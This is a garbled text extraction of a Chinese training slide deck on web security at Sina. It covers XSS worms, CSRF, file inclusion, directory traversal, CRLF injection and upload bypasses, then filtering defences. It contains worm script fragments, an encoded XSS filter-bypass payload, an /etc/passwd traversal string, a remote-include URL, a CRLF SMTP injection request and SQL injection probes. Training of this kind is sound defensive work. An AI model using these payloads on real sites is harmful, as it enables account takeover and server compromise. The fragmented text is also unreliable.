新浪web安全培训PPT格式课件下载.ppt
《新浪web安全培训PPT格式课件下载.ppt》由会员分享，可在线阅读，更多相关《新浪web安全培训PPT格式课件下载.ppt（86页珍藏版）》请在冰豆网上搜索。
1.HTML标签外部2.HTML标签内部（属性、事件）3.输入到javascript代码,黑客攻击技术曝光,黑客攻击技术曝光,WEB安全新挑战-XSSWORM两段真实的XSSWROM统计数据,百度XSS蠕虫攻击统计,黑客攻击技术曝光,新浪博客v5.0蠕虫varblogtitle=IOwNedyouRBloGvarblogbody=YourEmYfOOd.蠕虫传播主体,不要构造这里varxmlhttp=newActiveXObject（Msxml2.XMLHTTP.3.0）;
xmlhttp.open（GET,/admin/article/article_add.php,false）;
xmlhttp.send（）;
varxss=xmlhttp.responseText;
token=xss.indexOf（vtoken）;
if（token0）vtoken=xss.substr（token+15,32）;
xmlhttp.open（post,/admin/article/article_post.php,false）;
xmlhttp.setRequestHeader（Content-Type,application/x-www-form-urlencoded）;
xmlhttp.send（album=,黑客攻击技术曝光,新浪空间好友纸条群发蠕虫-获取cookie中的uid-cookie=unescape（request（cookie）cflag=Instr（cookie,nick=）dflag=Instr（cookie,）;
）省略.-遍历好友数-fori=1to500-得到此uid的好友-url=http:
/&
uid&
page=&
i&
pagesize=1xml.openGET,url,Falsexml.sendhtmlcon=b2bstr（xml.responsebody）-提取好友uid-aflag=Instr（htmlcon,record:
uid:
）bflag=InStr（htmlcon,ftype）Ifaflag0Andbflag0Thenokflag=Replace（Replace（mid（htmlcon,aflag,bflag）,record:
）,）Else-超过最大好友数就中断-exitforEndIf-playload-Response.Write“next,黑客攻击技术曝光,永无止境的斗争-XSS过滤,黑客攻击技术曝光,新浪圈子-Html标签内部进攻,黑客攻击技术曝光,仔细分析该处也进行了敏感字符的过滤，比如javascript，TAB字元，“）等，但是经过测试发现这种过滤非常容易绕过，例如：
JaVaScrIpT:
eval（unescape（xmlhttp%3Dnew%20ActiveXObject%28%22Msxml2.XMLHTTP.3.0%22%29%3Bxmlhttp.open%28%22GET%22%2C%22/g33k/bbs/topic/tid%3D13037271%22%2Cfalse%29%3Bxmlhttp.send%28%29%3Balert%28xmlhttp.responseText%29%3B）;
黑客攻击技术曝光,被污染的页面代码：
aaa,黑客攻击技术曝光,新浪VIP邮箱CSRF攻击,黑客攻击技术曝光,代码分析javascript:
eval（unescape（xmlhttp=newActiveXObject（Msxml2.XMLHTTP.3.0）;
xmlhttp.open（GET,/classic/setforward.php?
optype=1,黑客攻击技术曝光,黑客攻击技术曝光,XSS重组攻击先进后执行/*/（hi）;
/*/alert/*/*,黑客攻击技术曝光,三、千里之堤，毁于蚁穴-PHP文件包含漏洞服务器通过php的特性（函数）去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可去包含一个恶意文件，而我们可以构造这个恶意文件来达到攻击的目的。
黑客攻击技术曝光,常见的攻击手法1.包含本地任意文件（读取、执行）2.包含远程任意文件（执行）3.直接执行系统命令（php:
/input）本地包含&
远程包含,黑客攻击技术曝光,文件包含$file=$_GETfile;
include（$file）;
include（/config/.$file）;
路径包含$path=$_GETpath;
include（$path./config.php）;
黑客攻击技术曝光,黑客攻击技术曝光,黑客攻击技术曝光,四、一切尽在不言中-目录遍历1.查看当前以及其他目录结构与其文件2.危害目的由不正当使用的函数决定3.危害升级，CRLF注入。
VulnCode:
$fp=fopen（$url,r）;
fpassthru（$fp）;
黑客攻击技术曝光,四又1/2、文件名操作函数引发的血案CRLFPHP的fopen（）,file（）及其它函数存在一个缺陷，即用户随意地添加额外HTTP报头信息到HTTP请求数据包中。
攻击者可以利用此缺陷绕过服务器的安全限制，进行非法访问。
在某些情况下，这个缺陷甚至可以打开任意的网络连接，在代理端执行PHP脚本和打开邮件转发。
黑客攻击技术曝光,doc.php?
url=http%3A%2F%2F%3A25%2F+HTTP/1.0%0D%0AHELO+%0D%0AMAIL+FROM%3A%3C%3E%0D%0ARCPT+TO%3A%3C%3E%0D%0ADATA%0D%0ACRLF+is+here%0D%0A.%0D%0AQUIT%0D%0A%0D%0Aurl=http:
/:
25/+HTTP/1.0HELO+MAIL+FROM:
RCPT+TO:
DATACRLF+is+here.QUIT,黑客攻击技术曝光,GET/HTTP/1.0HELOMAILFROM:
RCPTTO:
DATACRLFishere.QUITHTTP/1.0Host:
25,黑客攻击技术曝光,Warning:
fopen（http:
/RCPTTO:
DATACRLFishere.QUIT）function.fopen:
failedtoopenstream:
HTTPrequestfailed!
220staff-ServerESMTP（SunJavaSystemMessagingServer6.2-3.04（builtJul152005）in/opt/lampp/htdocs/doc.phponline3虽然测试由于一些原因失败，但是已经证明了攻击的存在性,黑客攻击技术曝光,黑客攻击技术曝光,五、飞向光明之巅-文件上传攻击1.直接获取webshell2.WEB系统瞬间沦陷，直接威胁服务器安全,黑客攻击技术曝光,恶意PHP文件上传方法1.精心构造后缀（php3,PhP,php.）2.构造文件类型Content-Type3.截断程序流程（shell.php%00.jpg）4.服务器解析缺陷（test.php.rar）,黑客攻击技术曝光,黑客攻击技术曝光,危险的本地JS检查functionisAllowedAttach（sFile）varsUploadImagesExt=.jpg.gif.png;
varsExt=sFile.match（/.*$/）;
if（sExt）sExt=sExt0.toLowerCase（）;
elseif（!
isAllowedAttach（file）show_error（上传图片格式不正确,upinfo）;
returnfalse;
黑客攻击技术曝光,六、没有硝烟的战争-黑客攻击的艺术1.淘金（html,js注释,备份文件,服务器报错信息）2.猜测文件与目录3.其他人留下的漏洞4.社会工程5.0day6.,真的这么简单吗？
在保证代码安全的前提下还要有风险对抗意识。
如果攻击者已经得逞，如何将损失、数据泄露、权限流失保证到最低限度。
黑客攻击技术曝光,3.捍卫代码城堡,捍卫代码城堡,代码安全的本质-恶意数据来自哪里？
1.显示变量输入$_GET$_POST$_COOKIE$_SESSION$_SERVER.,2.隐式输入来自于数据库来自于配置文件来自于缓存文件.,捍卫代码城堡,捍卫代码城堡,什么是敏感字符?
SQL注入:
id=1and1=1id=1and1=2unionselect1,2,3.XSS:
alert（）“imgsrc=#onerror=javascriptInclude:
vuln.php?
path=./././etc/passwdvuln.php?
path=http:
/xxx/s.jpg%3f,捍卫代码城堡,由此可见，敏感字符没有固定的形式与样子，取决于黑客攻击的目标的特性.对于SQL注入，过滤单引号（字符型），整形处理（数字型），与一些常用SQL关键字（select,update,and,or.），那将对SQL注入技术给予致命的打击！
过滤，那么对于防范html标签外的XSS攻击可以说是彻底的。
捍卫代码城堡,SQL注入过滤方法常用变量字符替换函数str_replace（）字符转义函数addslashes（）常用数字判断函数is_numeric（）,is_int（）.,捍卫代码城堡,XSS跨站攻击解决方法XSS是输出到页面的内容，如果仍然过滤会打乱用户无意提交的敏感字符组成的文章，所以这里推荐转义HTML转义函数:
htmlentities（）,htmlspecialchars（）会把转义成,这样显示的内容不变,而且恶意标签已经失去意义,捍卫代码城堡,但是！
切记！
XSS没有我们想象的简单，XSS不仅仅存在与html中，它可能存在与CSS中，错误的HTTP头中，cookies中，Flash中，甚至是一张图片中.,捍卫代码城堡,捍卫代码城堡,ItsaGoodidea局限法selectname,passfromuserwhereuid=$id;
看上面的例子，将用户的输入局限在一对单引号或者双引号中,然后过滤掉单引号和双引号,防止用户截断,捍卫代码城堡,当然，WEB安全也不仅仅是过滤，严谨的逻辑思维更重要，看一个案例新浪房产:
POST/yh
升级会员 